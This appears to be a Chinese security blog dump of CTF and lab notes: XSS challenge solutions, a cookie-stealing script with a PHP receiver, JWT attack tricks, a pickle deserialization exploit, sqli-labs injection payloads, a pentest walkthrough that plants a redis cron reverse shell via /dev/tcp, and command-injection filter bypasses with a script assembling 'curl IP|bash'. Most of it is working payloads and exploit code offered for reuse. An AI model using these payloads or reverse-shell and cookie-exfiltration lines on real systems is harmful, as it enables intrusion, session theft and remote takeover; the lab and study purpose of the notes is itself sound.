<h2 align=center>没有找到和<img src=x onerror=alert(1)>相关的结果.</h2><center> <form action=level6.php method=GET> <input name=keyword  value="<img sr_c=x o_nerror=alert(1)>"> <input type=submit name=submit value=搜索 /> </form>       <h2 align=center>没有找到和"><a href="javascript:alert(1);">aaa</a>相关的结果.</h2><center> <form action=level6.php method=GET> <input name=keyword  value=""><a hr_ef="javascript:alert(1);">aaa</a>"> <input type=submit name=submit value=搜索 /> </form>

payload：(大写可以绕过)

"> <a Href="javascript:alert(/1/)">axxx</a>

level7

<form action=level7.php method=GET> <input name=keyword  value="<>alert(1)</>"> <input type=submit name=submit value=搜索 /> </form>

script , on被过滤

payload

" oonninput=alert(1) " "oonnmouseover="alert(1)

然后输入即可

level8

将 javascript:alert(1) html实体编码即可

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

level9

将

javascript:alert(1)

html实体编码，然后加上 %0d

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x0a;%0dhttp://www.0aa.me%0dalert(1)

level10

这一关有点玄学

&t_sort=" type="text"onmouseover=alert`1` "

level11

添加 referer

" type="text" onclick="alert(1)

level12

在User-agent 处注入

" type="text" onclick="alert(1)

level13

在cookie处注入

" type="text" onclick="alert(1)

level14

iframe 引入了

<iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>

level15

angular js

http://localhost/xss_test/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

level16

%0a 绕过空格

http://localhost/xss_test/level16.php?keyword=%3Cimg%0asrc=1%0aonerror=alert(1)%3E

level17-20 都是flash相关的xss，就不写了

prompt1 to win

http://prompt.ml/0

0

"><script>prompt(1)</script><"

1

function escape(input) {     // tags stripping mechanism from ExtJS library     // Ext.util.Format.stripTags     var stripTagsRE = /<\/?[^>]+>/gi;     input = input.replace(stripTagsRE, '');      return '<article>' + input + '</article>'; }

不能闭合标签

<body/onload=prompt(1)// <body onload=prompt(1)//

onload 事件属性，在页面加载之后立即执行一段JavaScript

2

function escape(input) {     //                      v-- frowny face     input = input.replace(/[=(]/g, '');      // ok seriously, disallows equal signs and open parenthesis     return input; }

使用svg即可

<svg><script>prompt&#x28;1)</script>  <svg><script>prompt&#x28 1)</script>

3

function escape(input) {     // filter potential comment end delimiters     input = input.replace(/->/g, '_');      // comment the input to avoid script execution     return '<!-- ' + input + ' -->'; }

新姿势get

--!><script>prompt(1)</script

4

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

5

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}

新姿势。。

"type=image src onerror
="prompt(1)

或者

"type=image src onerror
=prompt(1)

6

function escape(input) {     // let's do a post redirection     try {         // pass in formURL#formDataJSON         // e.g. http://httpbin.org/post#{"name":"Matt"}         var segments = input.split('#');         var formURL = segments[0];         var formData = JSON.parse(segments[1]);          var form = document.createElement('form');         form.action = formURL;         form.method = 'post';          for (var i in formData) {             var input = form.appendChild(document.createElement('input'));             input.name = i;             input.setAttribute('value', formData[i]);         }          return form.outerHTML + '                         \n\ <script>                                                  \n\     // forbid javascript: or vbscript: and data: stuff    \n\     if (!/script:|data:/i.test(document.forms[0].action)) \n\         document.forms[0].submit();                       \n\     else                                                  \n\         document.write("Action forbidden.")               \n\ </script>                                                 \n\         ';     } catch (e) {         return 'Invalid form data.';     } }

代码很复杂，但是其实就是一个构造表单的过程

如果使用JavaScript伪协议，被过滤了

javascript:prompt(1)#{"test":1}

新姿势：

action有这样的一个特性，如果前后都有action，访问action标签时访问的是后面的action的值。

所以如果输入

javascript:prompt(1)#{"action":1}

得到的结果

<form action="javascript:prompt(1)" method="post"><input name="action" value="1"></form>                          <script>                                                       // forbid javascript: or vbscript: and data: stuff         if (!/script:|data:/i.test(document.forms[0].action))          document.forms[0].submit();                            else                                                           document.write("Action forbidden.")                </script>

9

function escape(input) {     // filter potential start-tags     input = input.replace(/<([a-zA-Z])/g, '<_$1');     // use all-caps for heading     input = input.toUpperCase();      // sample input: you shall not pass! => YOU SHALL NOT PASS!     return '<h1>' + input + '</h1>'; }

payload如下

<ſcript/ſrc=//⒕₨></ſcript>

A

function escape(input) {     // (╯°□°）╯︵ ┻━┻     input = encodeURIComponent(input).replace(/prompt/g, 'alert');     // ┬──┬ •ノ( ゜-゜ノ) chill out bro     input = input.replace(/'/g, '');      // (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO     return '<script>' + input + '</script> '; }

组合一下。

prom'pt(1)

XSS基础知识

<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

escape一般会进行URL编码，但是该方法不会对 ASCII 字母和数字进行编码，也不会对下面这些 ASCII 标点符号进行编码： * @ - _ + . / 。其他所有的字符都会被转义序列替换。

常用的payload

<script>alert(/xss/);</script> //经典语句  <BODY ONLOAD=alert('XSS')> <img src=x onerror=alert(1)> <svg onload=alert(1)> <a href = javasript:alert(1)>

简单地XSS接收平台

js脚本

var img = document.createElement("img"); img.src = "http://xxx/x.php?cookie="+document.cookie; document.body.appendChild(img);

接收端

<?php   $victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";   echo htmlspecialchars($_GET['cookie']); $myfile = fopen("/aixi/XSS/xss_victim.txt", "a"); fwrite($myfile, $victim); ?>

从浏览器解码看xss

html编码解码

浏览器会先解析html，然后解析xss，所以，如果在xss中使用到了html实体编码是没有用的

<script>alert&#40;'1')</script>

但是却可以触发，原因是 svg支持xml,在XML中实体会自动转义,除了<![CDATA[和]]>包含的实体

<svg><script>alert&#40;1)</script>

JavaScript编码解码

下面无法触发，原因是浏览器看到 onerror 之后，调用js解析器，但是在js中，单引号，双引号和圆括号等属于控制字符，编码后将无法识别。所以对于防御来说，应该编码这些控制字符

<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029>

所以我们需要修改成这样

<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074('\u0031')>

结合上面的html编码，我们可以将 \u0061\u006c\u0065\u0072\u0074('\u0031') 再进行一次html实体编码(这样就算你过滤了 ',照样可以绕过)

<img src="1" onerror=&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#55;&#52;&#40;'&#92;&#117;&#48;&#48;&#51;&#49;'&#41;>

比如开发人员单纯的设置HTML实体编码为防御xss的手段，但是用户输入点确实在alert中

<img src = "https://text.com" onclick = 'alert(输入点)'>

如果用户正常输入的话凡是存在< ," 等都能被转码

但是攻击者可以通过语句");alert("test 然后HTML编码即可绕过

<img src = "https://gss1.bdstatic.com" onclick = 'alert("FIRST XSS | &#34;&#41;&#59;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#116;&#101;&#115;&#116;")'>

发现弹窗了两次,是因为服务端进行一个HTML解码发现存在两个alert()弹窗于是直接弹

所以对于这种情况，正确防御XSS的方法应该是先javascript编码然后再进行HTML编码

URL编码解码

<a href = "javascript:alert(3)">hhhhh<a>

浏览器看到<满足HTML解码的条件，然后看到href 满足了URL编码额条件，最后看到javascript满足JS 解码的条件

于是我们可以反过来编码

作为攻击者我们应该反过来首先进行一个JS编码

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(3)">hhhhhh</a>

然后进行一个URL编码

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">hhhhhh</a>

最后进行一个HTML编码

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">hhhhhh</a>

其他栗子：

<a onclick="window.open('value1')" href="javascript:window.open(value2)">

这里的value1：浏览器看到<标签，可以HTML解码，然后看到onclick可以进行JS解码，最后看到window.open可以进行URL解码

对于value2而言：浏览器看到<标签进行一个HTML解码，然后看到href进行一个URL解码，再之后看到javascript进行一个JS解码，最后看到了window.open编码进行一个URL解码

XSS payload判断是否执行练习

1 协议被编码导致无法执行

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

href 丢给URL模块解析，但是协议无法识别（即被编码的javascript:），解码失败，不会被执行

2

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

先进行htm解码得到

javascript:%61%6c%65%72%74%28%32%29

然后href丢给URL模块解析，得到

javascript:alert(2)

可以执行

3 协议被编码，同1

<a href="javascript%3aalert(3)"></a>

4

<div>&#60;img src=x onerror=alert(4)&#62;</div>

无法执行，因为从HTML解析机制看，在读取<div>之后进入数据状态，<会被HTML解码，但不会进入标签开始状态，当然也就不会创建img元素，也就不会执行

5

<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

无法执行，<textarea>是RCDATA元素（RCDATA elements），可以容纳文本和字符引用，注意不能容纳其他元素，HTML解码得到

<textarea><script>alert(5)</script></textarea>

6 同5 无法执行

<textarea><script>alert(6)</script></textarea>

7

<button onclick="confirm('7');">Button</button>

这里onclick中为标签的属性值（类比2中的href），会被HTML解码，得到

<button onclick="confirm('7');">Button</button>

然后被执行

8

<button onclick="confirm('8\u0027);">Button</button>

onclick中的值会交给JS处理，在JS中只有字符串和标识符能用Unicode表示，'显然不行，JS执行失败

9

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

无法执行

script属于原始文本元素(Raw text elements)，只可以容纳文本，注意没有字符引用，于是直接由JS处理，JS也认不出来，执行失败

原始文本元素(Raw text elements)有<script>和<style>

10

<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

这里js中可以使用Unicode的，只是有些特殊字符不能编码，可以执行

11 同8，关键字符被编码

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

不能执行

12 由于解码是字符串导致无法执行

<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

这里看似将没毛病，但是这里\u0031\u0032在解码的时候会被解码为字符串12，注意是字符串，不是数字，文字显然是需要引号的，JS执行失败

这样就行了

<script>\u0061\u006c\u0065\u0072\u0074("\u0031\u0032")</script>

14 同8无法执行

<script>alert('13\u0027)</script>

15

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

html解码，得到

javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)

href识别出是JavaScript协议，URL解码得到

javascript:\u0061\u006c\u0065\u0072\u0074(15)

可以执行

总结

jwt学习笔记

Tue, 10 Mar 2020 00:00:00 GMT

基本概念

JWT的全称是Json Web Token。它遵循JSON格式，将用户信息加密到token里，服务器不保存任何用户信息，只保存密钥信息，通过使用特定加密算法验证token，通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt由三个部分组成

header.payload.signature

首先看 header

alg 指定了token加密使用的算法（最常用的为HMAC和RSA算法

HMAC：对称

RSA：非对称

HASH: 压缩

MAC: 带密钥的hash

HMAC: MAC的一种

{
        "alg" : "HS256",
        "typ" : "jwt"
}

payload

pyjwt

（注意是必须 pip install pyjwt

In [1]: import jwt

In [2]: encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')

In [3]: encoded_jwt
Out[3]: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.fN_uBYJZuGWi_XnqKe_HDo6EYBU8Te1nanJRBnpnPns'

https://jwt.io/ 解密

可以看到并不需要key也可以直接解密，有点像flask 的session

解密

In [4]: print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))
{'user_name': 'admin'}

攻击方式

空加密算法

JWT支持使用空加密算法，可以在header中指定alg为None

pyjwt生成空加密算法的jwt

In [10]: encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', headers={"alg":"None", "typ":"jwt"})

In [11]: encoded_jwt
Out[11]: b'eyJ0eXAiOiJqd3QiLCJhbGciOiJOb25lIn0.eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.73u0KBesnvDB-k3jhmyzzPnExs8gUsxaYG2MBtBeNtg'

修改加密算法RSA为HMAC(未尝试)

理论：

一个Web应用，在JWT传输过程中使用RSA算法，密钥pem对JWT token进行签名，公钥pub对签名进行验证。

通常情况下密钥pem是无法获取到的，但是公钥pub却可以很容易通过某些途径读取到，这时，将JWT的加密算法修改为HMAC

{
    "alg" : "HS256",
    "typ" : "jwt"
}

同时使用公钥pub作为密钥，这样服务端接收到的数据就会用HMAC的方式来验证了

爆破密钥

c-jwt-cracker了解一下

修改kid参数

用来指定私钥位置，也可以修改？

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/home/jwt/.ssh/pem"
}

任意文件读取？(有点骚)

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

SQL注入

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}

命令注入

"/path/to/key_file|whoami"

参考

jwt安全问题

pickle反序列化

Tue, 10 Mar 2020 00:00:00 GMT

就分析几道例题吧

CISCN 2019 ikun

这题开始脑洞比较大

然后观察URL

http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/shop?page=1

开始以为这里有注入，因为加一个单引号网站就崩了

但是不然。是需要找到 lv6



URL = "http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/shop?page="

for i in range(2000):
    res = requests.get(URL+str(i))
    if b"lv6.png" in res.content:
        print(i)
        break

注意 res.content 返回的是byte类型， res.text 会自动转码为字符串

得到的结果是181

当然按照管理你是买不起的

抓个包改一下折扣

进入后台

http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/b1g_m4mber

注意到是用jwt认证的，爆破一下

然后伪造一下进入admin，查看页面源代码有代码下载地址

审计代码

看到 Admin.py


from sshop.base import BaseHandler



class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

会反序列化传过来的 become 参数，于是




class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

生成

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

提交即可

抗疫分享赛webtmp

这题涉及到了如何手动构造 pickle 数据

复习一下指令

requests文档阅读笔记

Tue, 10 Mar 2020 00:00:00 GMT

如何发送post请求

r = requests.post('http://httpbin.org/post', data = {'key':'value'})

其他的请求也类似

>>> r = requests.put('http://httpbin.org/put', data = {'key':'value'})
>>> r = requests.delete('http://httpbin.org/delete')
>>> r = requests.head('http://httpbin.org/get')
>>> r = requests.options('http://httpbin.org/get')

GET请求如何传递URL参数

In [12]: r = requests.get(url,params={"key1":"1", "key2":"2"})

In [13]: r.url
Out[13]: 'http://httpbin.org/get?key2=2&key1=1'

但是怎么传递数组呢？这是个问题

sqli-lab记录

Tue, 10 Mar 2020 00:00:00 GMT

第一关 GET Error based- Single quotes

payload

http://localhost/Less-1/?id=1' order by 3 -- +

(火狐不知道为什么感觉有bug)

在确定回显的时候，要注意去查一个不存在的数据

http://localhost/Less-1/?id=888' union select 1,2,3 --+

第二关 GET Error based-Intiger

没有单引号保护

http://localhost/Less-2/?id=12312 union select 1,2,3 #

第三关

加了括号保护

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

http://localhost/Less-3/?id=22333' ) union select 1,2,3 --+

第四关

双引号保护

http://localhost/Less-4/?id=1111") union select 1,2,3--+

第五关 Double injection-Single Quotes

这里理解一下报错注入

select count(*),(concat(floor(rand(0)*2),(select version())))x from users group by x

floor(rand(0)*2) 产生的数据很有规律

mysql> select floor(rand(0)*2) from users
;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
0110 1100

再看 group by

首先计算第一次 group by 后面的字段值，然后去查找有没有，没有就需要插入，插入的时候需要再计算一次

参考

在第三次插入的时候出问题

最后的payload

http://localhost/Less-5/?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

数据库也可以这样查

mysql> select group_concat(schema_name) from information_schema.schemata;
+--------------------------------------------------------------------------------------------------------------------------------+
| group_concat(schema_name)                                                                                                      |
+--------------------------------------------------------------------------------------------------------------------------------+
| information_schema,challenges,ctf,dvwa,ed01,mysql,newdb,performance_schema,reservation,security,sys,test,tptest,typecho,xinxiu |
+--------------------------------------------------------------------------------------------------------------------------------+
1 row in set

简单一点的 payload

http://localhost/Less-5/?id=1' and (select 1 from (select count(*),  concat((select database()), floor(rand(0)*2))x from information_schema.tables group by x )a) --+

第六关

同第五关类似

http://localhost/Less-6/?id=2" and (select 1 from (select count(*), concat(floor(rand(0)*2), (select database()))x from information_schema.tables group by x)a) --+

第七关

是写shell，但是我没有成功(其实是因为mysql开了权限吧估计)

第八关

布尔盲注(多加一些括号)

http://localhost/Less-8/?id=1' and (select ascii(mid((select database()), 1,1)))=115 --+

第九关延时注入

延时注入

http://localhost/Less-9/?id=1' and (select  if(ascii(substr(database(),1,1))>200 , sleep(5), NULL) ) --+

第十关

延时注入，只是换成了双引号

http://localhost/Less-10/?id=1" and (select if( ascii(substr(database(),1,1)) > 40, sleep(5), NULL)) --+

第十一关

POST形式的单引号

uname=&passwd=admin' union select 1,2-- +&submit=Submit

第十二关

POST形式的双引号

payload(这次测试发现 --+ 不行，需要换成 #)

uname=a&passwd=admin") union select 1,2# &submit=Submit

第十三关

有报错回显，但是并没有其他的数据回显

payload(遇到困难加括号就行了)

uname=admin&passwd=admin') and (select 1 from (select count(*), concat(floor(rand(0)*2),(select database()))x from information_schema.tables group by x)a)  #&submit=Submit

第十四关

同上一关类似

uname=admin&passwd=admin" and (select 1 from (select count(*), concat(floor(rand(0)*2), (select database()))x  from information_schema.tables group by x)a)# &submit=Submit

第十五关

延时注入,注意只能用 # 注释？

uname=admin&passwd=admin ' and (select  if(ascii(substr(database(),1,1))>30, sleep(5), NULL) ) #&submit=Submit

第十六关

同十五关

uname=admin&passwd=admin") and (select  if(ascii(substr(database(),1,1))>30, sleep(5), NULL) ) #&submit=Submit

第十七关报错注入

update形式的注入，这里可以使用报错注入

uname=admin&passwd=admin'  and (updatexml(1,concat(0x3a,(select database())),1)) #&submit=Submit

第十八关

payload

User-Agent: 1' or updatexml(1,concat(0x3a,(database())),0),'','')#

第十九关

payload

Referer:  1' or updatexml(1,concat(0x3a,(database())),0), '')#

INSERT 形式的注入

第二十关

cookie形式的报错注入

admin' and (updatexml(1,concat(0x3a,(select database())),1)) #

第二十一关

需要base64编码

admin' ) and (updatexml(1, concat(0x3a, (select database()),0x3a ) ,1)) #

编码之后

YWRtaW4nICkgYW5kICh1cGRhdGV4bWwoMSwgY29uY2F0KDB4M2EsIChzZWxlY3QgZGF0YWJhc2UoKSksMHgzYSApICwxKSkgIw==

第二十二关

改成了双引号闭合

admin" and (updatexml(1, concat(0x3a, (select database()),0x3a ) ,1)) #

base64编码之后

YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsIGNvbmNhdCgweDNhLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4M2EgKSAsMSkpICM=

第二十三关

这一次把注释符过滤了

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

报错注入可以

http://localhost/Less-23/?id=1' and (updatexml(1, concat(0x3a, (select database()),0x3a ) ,1)) and '1' ='1

第二十四关

二次注入，注册一个用户名 admin '# 就可以修改admin的密码了

第二十五关

过滤了 and 和 or ，

可以双写绕过或者使用 && 和 ||

25a

类似的过滤了and和or，而且没有单引号保护，双写绕过

第二十六关

企业环境渗透2

Tue, 10 Mar 2020 00:00:00 GMT

任务一 weblogic反序列化

浏览器访问192.168.2.10:7001 然后就404

使用工具包中的webloigc利用工具

看到flag了是不是，然后执行 cat /home/flag 是吧233333

其实，这个flag不过就是个目录。。

得到flag

任务二 Wrodpress 任意文件读取

wpscan常规扫描一下

存在一个任意文件读取漏洞

任务三 Wordpress命令执行

利用 Burpsuite的 repeater模块修改包探测漏洞存在的字段
执行wordpress mailer 命令执行漏洞的利用脚本尝试获取shell

执行 wordpress-rce-exploit.sh 获取到flag

任务四改进漏洞利用脚本获得命令执行权限

通过分析sendmail中的语法改进作者的漏洞利用脚本，缩短host字段的长度绕过限制
利用改进后的漏洞利用脚本来获取shell

修改脚本：

执行脚本

打开另一个shell 进行监听

成功获得反弹的shell

使用 python 开启一个服务器

上传 tunnel.nosocker.php

成功上传

开启代理：

python reGeorgSocksProxy.py -p 8080 -u http://192.168.2.11/tunnel.nosocket.php

扫描内网

proxychains nmap -Pn -sT 192.168.1.11

proxychains nmap -Pn -sT 192.168.1.10

都开放了80端口，并且看出 192.168.1.11 是Windows， 192.168.1.10 是Linux

任务五 redsi未授权访问+ffmpeg任意文件读取

查看网页信息可知，是通过ffmpeg处理视频的小应用，只有上传，下载和删除功能，此处存在ffmpeg文件读取漏洞，构造特定的avi视频，经过ffmpeg处理之后的视频就会包含想要的文件内容。利用文件读取漏洞获取redis配置文件内容
redis数据库服务，允许外连且没有设置密码，可以随意访问，此处存在未授权访问漏洞，正常情况下可以写入文件，但是过程中发现，必要的config命令被替换了。而config命令的替换一定是写在redis的配置文件中的，配置文件的路径又可以在redis中执行info获取到，在以上环境中获取到redis服务器的shell

访问 http://192.168.1.11

连接 redis

proxychains ./redis-cli -h 192.168.1.11

看到配置文件的位置

/etc/redis/63799.conf

下载得到 456.avi

发现 config 命令被替换成了 ccoonnffiigg

redis连接，通过计划任务反弹shell

proxychains ./redis-cli -h 192.168.2.11

ccoonnnffiigg set dir /var/spool/cron
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.2.11/9999 0&>1\n\n"
ccoonnnffiigg set dbfilename root

成功反弹shell

/home/flag/flag.txt

/etc/redis/63799.conf

任务六 drupal8 远程代码执行

使用浏览器代理访问内网机器 192.168.1.10
利用drupal8的php反序列化漏洞向目标服务器写入webshell
使用Cknife连接已经生成的webshell

设置代理

访问

弱口令 admin,admin登陆后台

访问 http://192.168.1.10/admin/config/development/configurations/single/import

导入 drupal_exp.txt 中的内容

网站根目录生成 shell.php

Cknife 连接，设置代理地址

第一个flag

第二个flag

命令执行绕过技巧

Tue, 10 Mar 2020 00:00:00 GMT

tar命令绕过

最近也是才知道的姿势，很多CTF题目并没有过滤tar命令，可以直接打包然后下载，GXYCTF的一道题就可以这样非预期

?ip=1;tar$IFS$9-cvf$IFS$9index$IFS$9.

Windows命令执行

<?php
$a = "../ %1a whoami";
$command = 'dir '.urldecode($a);
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

命令分隔符

|
||
&&
;

空格绕过

~ ᐅ cat<>flag     
flag{fffffffffff}
~ ᐅ cat<flag 
flag{fffffffffff}

${IFS}

这算是Linux中的一个变量

Linux下有一个特殊的环境变量叫做IFS，叫做内部字段分隔符（internal field separator）。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下，bash shell会将下面的字符当做字段分隔符：空格、制表符、换行符。

~ ᐅ echo ${IFS} > aa.txt
~ ᐅ xxd aa.txt 
00000000: 2009 0a00 0a                              ....

//用python读取一下
>>> f = open("aa.txt")
>>> f.readlines()
[' \t\n', '\x00\n']

使用 ${IFS} 绕过(但是我没有实验成功) ==只适用于Ubuntu==

ubuntu@VM-207-93-ubuntu:~$ cat flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}flag
nice day

ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag
nice day

黑名单绕过

有些时候会设置一些关键字过滤(比如设置flag)

拼接

~ ᐅ a=c;b=at;c=flag;$a$b $c
flag{fffffffffff}

编码

~ ᐅ echo "Y2F0IGZsYWc="|base64 -d|bash
flag{fffffffffff}

单引号双引号

~ ᐅ c""at flag
flag{fffffffffff}
~ ᐅ c""at fl""ag
flag{fffffffffff}
~ ᐅ c""at fl''ag
flag{fffffffffff}

反斜线

~ ᐅ c\at fl\ag
flag{fffffffffff}

绕过长度的限制

原题

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

Linux 可以通过 \ 换行

sh filename 可以执行一个shell脚本，如果有报错的话会自动跳过

> 会覆盖原有的内容

>> 是追加内容

思路就是通过构造一个文件然后往里面写入类似curl 192.168.1.104|bash 之类的语句然后执行，其实还可以利用其他python 以及PHP环境去执行代码，访问 192.168.1.104/index.php里面的内容bash -i >& /dev/tcp/192.168.1.104/12345 0>&1从而达到反弹webshell的目的

php执行生成的_的内容序列并非和我们在linux命令行一样，查资料 ls 排序和应该和环境变量LC_COLLATE有关！而php应该是c
https://www.zhihu.com/question/273928679

最后的exp


from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    '>sh\ ', 
    '>ba\\', 
    '>\|\\',
    '>20\\',
    '>2.\\', 
    '>8.\\',
    '>18\\', 
    '>0.\\', 
    '>1\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # exec
    'sh _', 
    'sh g', 
]

r = requests.get('http://10.188.2.20:22460/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://10.188.2.20:22460/?cmd=' + quote(i) )
    print i
    sleep(0.2)

Dockerfile

绕过长度为4的限制

。。太狠了

绕过长度限制写shell

参数注入

gitlist远程命令执行漏洞

<?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

复现：

这里的问题出在单引号并不能使得包裹的内容成为一个非选项

创建一个 --name 文件，但是无法直接用 cat进行读取，因为会被认为是一个选项，即使是用单引号包裹也不行

比如这个命令就不会执行，因为单引号包裹的内容放在 -e 选项的值中

git grep -i --line-number -e '--open-files-in-pager=id;' master

必须是 cat -- --name, 从这个例子也能看出，单引号并不是区分一个字符串是“参数值”或“选项”的标准。

修复：

<?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch"); //强制加入 -- 使得后面的成为参数的值
    } catch (\RuntimeException $e) {
        return false;
    }

python中存在的漏洞点



query = 'id'
r = subprocess.run(['git', 'grep', '-i', '--line-number', query, 'master'], cwd='/tmp/vulhub')

eval长度限制绕过 && PHP5.6新特性

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
